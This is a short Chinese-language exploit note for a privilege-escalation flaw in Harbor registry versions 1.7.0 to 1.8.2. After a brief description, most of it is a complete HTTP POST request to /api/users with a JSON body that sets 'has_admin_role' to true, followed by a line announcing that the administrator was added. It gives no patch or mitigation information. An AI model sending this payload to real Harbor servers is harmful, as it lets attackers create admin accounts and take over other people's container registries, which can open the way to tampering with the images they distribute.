Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.7.0版本至1.8.2版本中的core/api/user.go文件存在安全漏洞。攻击者通过在请求中添加关键参数,即可利用该漏洞创建管理员账户,从而接管Harbor镜像仓库。
POST /api/users HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Referer: http://x.x.x.x:8080/
Content-Length: 133
{"username":"hw","email":"test@test.cn","realname":"hw","password":"Admin123","comment":"1","has_admin_role":true,"t0f9phmw4j":"="}
管理员添加成功: